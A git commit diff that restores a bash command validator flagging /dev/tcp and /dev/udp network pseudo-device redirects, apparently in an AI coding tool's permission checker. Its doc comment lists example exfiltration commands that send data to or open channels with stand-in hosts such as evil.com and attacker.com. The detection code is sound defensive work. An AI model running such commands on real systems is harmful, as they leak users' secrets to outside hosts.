fix: restore /dev/tcp /dev/udp network device redirect security check

Batch 2 merge overwrote the package version (which had this check) with
the src version (which didn't). Cherry-picked back from commit 32765897.

Re-added:
  - NETWORK_DEVICE_REDIRECT check ID
  - validateNetworkDeviceRedirect() function
  - Registration in both sync and async validator lists

Test: 15/15 pass (networkDeviceRedirect.test.ts)
This commit is contained in:
James Feng 2026-06-03 16:37:49 +08:00
parent bdfff8de97
commit 05fd5e14d3

View File

@ -98,6 +98,7 @@ const BASH_SECURITY_CHECK_IDS = {
BACKSLASH_ESCAPED_OPERATORS: 21,
COMMENT_QUOTE_DESYNC: 22,
QUOTED_NEWLINE: 23,
NETWORK_DEVICE_REDIRECT: 24,
} as const
type ValidationContext = {
@ -2241,6 +2242,46 @@ function validateZshDangerousCommands(
}
}
/**
* Detects usage of Bash's network pseudo-device paths /dev/tcp/ and /dev/udp/.
*
* SECURITY: Bash interprets /dev/tcp/host/port and /dev/udp/host/port as
* network connections when used in redirects or as arguments to commands
* like cat. This allows data exfiltration without any network tools:
*
* echo "secrets" > /dev/tcp/evil.com/4444
* cat < /dev/tcp/evil.com/8080
* exec 3<>/dev/udp/evil.com/53
* cat /dev/tcp/attacker.com/8080
*
* These paths are NOT real filesystem entries they are intercepted by Bash
* itself. Normal path validation (validatePath) cannot catch them because
* the files don't exist on disk.
*/
const NETWORK_DEVICE_PATH_RE =
/\/dev\/(tcp|udp)\/[^/\s"'`$]+\/\d+/i
function validateNetworkDeviceRedirect(
context: ValidationContext,
): PermissionResult {
// Check in fullyUnquotedContent to catch quoted variants like "/dev/tcp/..."
if (NETWORK_DEVICE_PATH_RE.test(context.fullyUnquotedContent)) {
logEvent('tengu_bash_security_check_triggered', {
checkId: BASH_SECURITY_CHECK_IDS.NETWORK_DEVICE_REDIRECT,
})
return {
behavior: 'ask',
message:
'Command uses /dev/tcp or /dev/udp network pseudo-device which can be used for network access',
}
}
return {
behavior: 'passthrough',
message: 'No network device redirects',
}
}
// Matches non-printable control characters that have no legitimate use in shell
// commands: 0x00-0x08, 0x0B-0x0C, 0x0E-0x1F, 0x7F. Excludes tab (0x09),
// newline (0x0A), and carriage return (0x0D) which are handled by other
@ -2372,6 +2413,7 @@ export function bashCommandIsSafe_DEPRECATED(
validateMidWordHash,
validateBraceExpansion,
validateZshDangerousCommands,
validateNetworkDeviceRedirect,
// Run malformed token check last - other validators should catch specific patterns first
// (e.g., $() substitution, backticks, etc.) since they have more precise error messages
validateMalformedTokenInjection,
@ -2565,6 +2607,7 @@ export async function bashCommandIsSafeAsync_DEPRECATED(
validateMidWordHash,
validateBraceExpansion,
validateZshDangerousCommands,
validateNetworkDeviceRedirect,
validateMalformedTokenInjection,
]